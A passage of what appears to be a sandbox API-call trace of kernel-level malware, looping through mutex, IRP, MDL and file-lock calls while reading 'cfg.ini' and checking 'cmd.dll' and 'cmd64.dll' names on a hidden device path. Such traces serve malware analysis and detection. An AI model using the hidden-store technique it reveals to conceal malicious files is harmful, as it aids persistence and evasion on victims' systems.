FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.836] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.836] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.836] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.836] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.836] IdePortDispatch () returned 0x103 [0128.836] KeWaitForMutexObject () returned 0x0 [0128.836] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.837] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.837] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.837] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.837] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.837] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00260 [0128.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.837] KeLeaveCriticalRegion () [0128.837] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.837] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.837] KeEnterCriticalRegion () [0128.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.837] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.837] KeLeaveCriticalRegion () [0128.837] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.837] KeEnterCriticalRegion () [0128.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.837] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.837] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.837] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.837] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.837] IdePortDispatch () returned 0x103 [0128.837] KeWaitForMutexObject () returned 0x0 [0128.837] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.837] KeLeaveCriticalRegion () [0128.837] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.837] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.837] KeEnterCriticalRegion () [0128.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.837] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b53000 [0128.838] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.838] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.838] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.838] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.838] IdePortDispatch () returned 0x103 [0128.838] KeWaitForMutexObject () returned 0x0 [0128.838] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.838] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.838] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.838] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.838] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.838] IdePortDispatch () returned 0x103 [0128.838] KeWaitForMutexObject () returned 0x0 [0128.838] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.838] KeLeaveCriticalRegion () [0128.838] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.839] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.839] KeEnterCriticalRegion () [0128.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.839] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.839] KeLeaveCriticalRegion () [0128.839] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.839] KeEnterCriticalRegion () [0128.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.839] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.839] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c003c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.839] KeLeaveCriticalRegion () [0128.839] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.839] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.839] KeEnterCriticalRegion () [0128.839] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.839] ExFreePoolWithTag (P=0xfffffa8003c00260, Tag=0x0) [0128.839] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.839] KeLeaveCriticalRegion () [0128.839] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.839] ReleaseMutex (hMutex=0xf0) returned 1 [0128.839] Sleep (dwMilliseconds=0x124f80) [0128.856] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.856] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.856] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.856] KeEnterCriticalRegion () [0128.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.856] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.856] IdePortDispatch () returned 0x103 [0128.857] KeWaitForMutexObject () returned 0x0 [0128.857] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.857] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.857] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.857] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.857] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.857] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c016d0 [0128.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.857] KeLeaveCriticalRegion () [0128.857] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.857] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.857] KeEnterCriticalRegion () [0128.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.857] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.857] KeLeaveCriticalRegion () [0128.857] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.857] KeEnterCriticalRegion () [0128.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.857] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.857] IdePortDispatch () returned 0x103 [0128.857] KeWaitForMutexObject () returned 0x0 [0128.857] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.858] KeLeaveCriticalRegion () [0128.858] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.858] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.858] KeEnterCriticalRegion () [0128.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.858] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b58000 [0128.858] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.858] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.858] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.858] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.858] IdePortDispatch () returned 0x103 [0128.858] KeWaitForMutexObject () returned 0x0 [0128.858] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.858] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.858] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.858] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.858] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.858] IdePortDispatch () returned 0x103 [0128.858] KeWaitForMutexObject () returned 0x0 [0128.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.858] KeLeaveCriticalRegion () [0128.858] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.859] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.859] KeEnterCriticalRegion () [0128.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.859] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.859] KeLeaveCriticalRegion () [0128.859] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.859] KeEnterCriticalRegion () [0128.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.859] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.859] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.859] KeLeaveCriticalRegion () [0128.859] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.859] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.859] KeEnterCriticalRegion () [0128.859] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.859] ExFreePoolWithTag (P=0xfffffa8003c016d0, Tag=0x0) [0128.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.859] KeLeaveCriticalRegion () [0128.859] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.859] ReleaseMutex (hMutex=0xf0) returned 1 [0128.859] Sleep (dwMilliseconds=0x124f80) [0128.875] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.875] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.875] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.875] KeEnterCriticalRegion () [0128.875] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.875] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.875] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.875] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.875] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.875] IdePortDispatch () returned 0x103 [0128.875] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.875] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.875] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.875] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.875] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.875] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c01670 [0128.875] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.876] KeLeaveCriticalRegion () [0128.876] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.876] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.876] KeEnterCriticalRegion () [0128.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.876] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.876] KeLeaveCriticalRegion () [0128.876] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.876] KeEnterCriticalRegion () [0128.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.876] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.876] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.876] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.876] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0128.876] IdePortDispatch () returned 0x103 [0128.876] KeWaitForMutexObject () returned 0x0 [0128.876] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.876] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.876] KeLeaveCriticalRegion () [0128.876] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.876] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.876] KeEnterCriticalRegion () [0128.876] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.876] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b5d000 [0128.876] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.876] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.876] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.876] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.876] IdePortDispatch () returned 0x103 [0128.877] KeWaitForMutexObject () returned 0x0 [0128.877] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.877] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.877] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.877] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.877] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0128.877] IdePortDispatch () returned 0x103 [0128.877] KeWaitForMutexObject () returned 0x0 [0128.877] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.877] KeLeaveCriticalRegion () [0128.877] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.878] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.878] KeEnterCriticalRegion () [0128.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.878] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.878] KeLeaveCriticalRegion () [0128.878] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.878] KeEnterCriticalRegion () [0128.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.878] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.878] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c003c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.878] KeLeaveCriticalRegion () [0128.878] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.878] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.878] KeEnterCriticalRegion () [0128.878] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.878] ExFreePoolWithTag (P=0xfffffa8003c01670, Tag=0x0) [0128.878] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.878] KeLeaveCriticalRegion () [0128.878] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.878] ReleaseMutex (hMutex=0xf0) returned 1 [0128.878] Sleep (dwMilliseconds=0x124f80) [0128.893] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.893] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.893] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.893] KeEnterCriticalRegion () [0128.893] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.893] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.893] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.893] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.894] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0128.894] IdePortDispatch () returned 0x103 [0128.894] KeWaitForMutexObject () returned 0x0 [0128.894] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.894] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.894] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.894] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.894] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.894] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c02dc0 [0128.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.894] KeLeaveCriticalRegion () [0128.894] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.894] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.894] KeEnterCriticalRegion () [0128.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.894] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.894] KeLeaveCriticalRegion () [0128.894] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.894] KeEnterCriticalRegion () [0128.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.894] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.894] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.894] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) 